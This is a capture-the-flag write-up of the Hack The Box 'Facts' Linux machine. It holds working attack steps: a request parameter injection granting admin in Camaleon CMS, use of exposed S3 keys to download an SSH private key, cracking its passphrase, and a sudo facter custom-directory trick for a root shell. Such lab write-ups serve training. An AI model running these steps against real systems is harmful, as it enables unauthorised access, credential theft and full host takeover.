> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-06-06

Hack The Box — Facts (Linux)

A CMS role escalation exposes S3 credentials, a protected SSH key gets cracked, and a sudo-allowed Facter invocation leads to root.

Target

  • IP: 10.129.26.75

Port Scan

sudo nmap -sC -sV 10.129.26.75 -p- -v -T5
PORT      STATE SERVICE VERSION
22/tcp    open  ssh    OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 8C83ADFFE48BE12C38E7DBCC2D0524BC
|_http-title: facts
54321/tcp open  http    Golang net/http server
|_http-title: Did not follow redirect to http://facts.htb:9001
|_http-server-header: MinIO
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 303
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 189032D243811B88
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 18:28:52 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/nice ports,/Trinity.txt.bak</Resource><RequestId>189032D243811B88</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   GenericLines, Help, RTSPRequest, SSLSessionReq:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 400 Bad Request
|     Accept-Ranges: bytes
|     Content-Length: 276
|     Content-Type: application/xml
|     Server: MinIO
|     Strict-Transport-Security: max-age=31536000; includeSubDomains
|     Vary: Origin
|     X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
|     X-Amz-Request-Id: 189032CEA4AA7295
|     X-Content-Type-Options: nosniff
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 01 Feb 2026 18:28:36 GMT
|     <?xml version="1.0" encoding="UTF-8"?>
|     <Error><Code>InvalidRequest</Code><Message>Invalid Request (invalid argument)</Message><Resource>/</Resource><RequestId>189032CEA4AA7295</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Vary: Origin
|     Date: Sun, 01 Feb 2026 18:28:36 GMT
|_    Content-Length: 0
| http-methods:
|_  Supported Methods: GET OPTIONS

Initial Access

Add facts.htb to /etc/hosts.

Go to http://facts.htb/admin/login. There is a login form. Click to register. Enter random data. Log in with the user we created. We arrive at the admin panel.

We discover that this is Camaleon CMS version 2.9.0. There is a vulnerability: CVE-2025-2304. Useful reference: https://www.tenable.com/security/research/tra-2025-09

Go to the profile page. Click on change password. Enter any password. Click process. Intercept the request with Burp. In the parameters string, add:

&password%5Brole%5D=admin

Send the request. Refresh the profile page. We see that the role is now Administrator. We also see that there are many pages available in the left sidebar.

Go to settings, general site, filesystem settings. There is some interesting information:

Aws s3 access key:
AKIA1315CC088102EB47
Aws s3 secret key:
XkifH3LEzJ1GA1HI0s8llvnTop9AZbuDm4DVhhX2
Aws s3 bucket name:
randomfacts
Aws s3 region:
us-east-1
Aws s3 bucket endpoint:
http://localhost:54321
Cloudfront url:
http://facts.htb/randomfacts

We can interact with the AWS server.

sudo apt install awscli
aws configure
AWS Access Key ID [None]: AKIA1315CC088102EB47
AWS Secret Access Key [None]: XkifH3LEzJ1GA1HI0s8llvnTop9AZbuDm4DVhhX2
Default region name [None]: us-east-1
Default output format [None]: temp
aws --endpoint=http://facts.htb:54321 s3 ls
2025-09-11 19:06:52 internal
2025-09-11 19:06:52 randomfacts
aws --endpoint=http://facts.htb:54321 s3 ls s3://internal
└─$ aws --endpoint=http://facts.htb:54321 s3 ls s3://internal
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-09 01:45:13        220 .bash_logout
2026-01-09 01:45:13       3900 .bashrc
2026-01-09 01:47:17         20 .lesshst
2026-01-09 01:47:17        807 .profile
aws --endpoint=http://facts.htb:54321 s3 ls s3://internal/.ssh/
2026-02-02 00:43:58         82 authorized_keys
2026-02-02 00:43:58        464 id_ed25519
aws --endpoint=http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys .
aws --endpoint=http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .

The private key is protected by a passphrase. We can try to crack it.

ssh2john id_ed25519
id_ed25519:$sshng$6$16$c5aca071ca4157ce1eff3d2b93233d68$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000000066263727970740000001800000010c5aca071ca4157ce1eff3d2b93233d680000001800000001000000330000000b7373682d65643235353139000000206af7dd3af531f714282d64bd3b9af51c68dac9a201ccd70640fe86c578a2bb4c000000a09701ca464826d6c1a0d08f286626b33200128e1763068f6c9f1b960940deb3b01beac79bf8622d25132f6b2c2764c16b8939b0d421ba37eaa474304d3a63199304b858f7df5d46de8d528d082522ca270a541e73b46e8607370d1c58bce8192c071c63c50eeabdae1dd58d6f028f2ad143c7e7ee413ccef348586ffb8e6d81fed0b49156c266bb5e13dd1cd02f56a7fd2c6e31cadb2fd3744bfe3773e5393709$24$130

Put the output into a file named hash.

./john/run/john --wordlist=./rockyou.txt ./hash

We obtain the password:

dragonballz

Now remove the passphrase.

ssh-keygen -p -f id_ed25519

Enter the passphrase dragonballz.

Key has comment 'trivia@facts.htb'

Set an empty passphrase.

Connect with SSH:

ssh -i id_ed25519 trivia@facts.htb

We get a shell.

In /home/william/user.txt, which is world-readable, there is the user flag.

sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

There is a page for facter on GTFOBins: https://gtfobins.org/gtfobins/facter/

Create a file /dev/shm/test.rb with the following content:

exec "/bin/bash"

Run:

sudo facter --custom-dir=/dev/shm/ x

We get a root shell.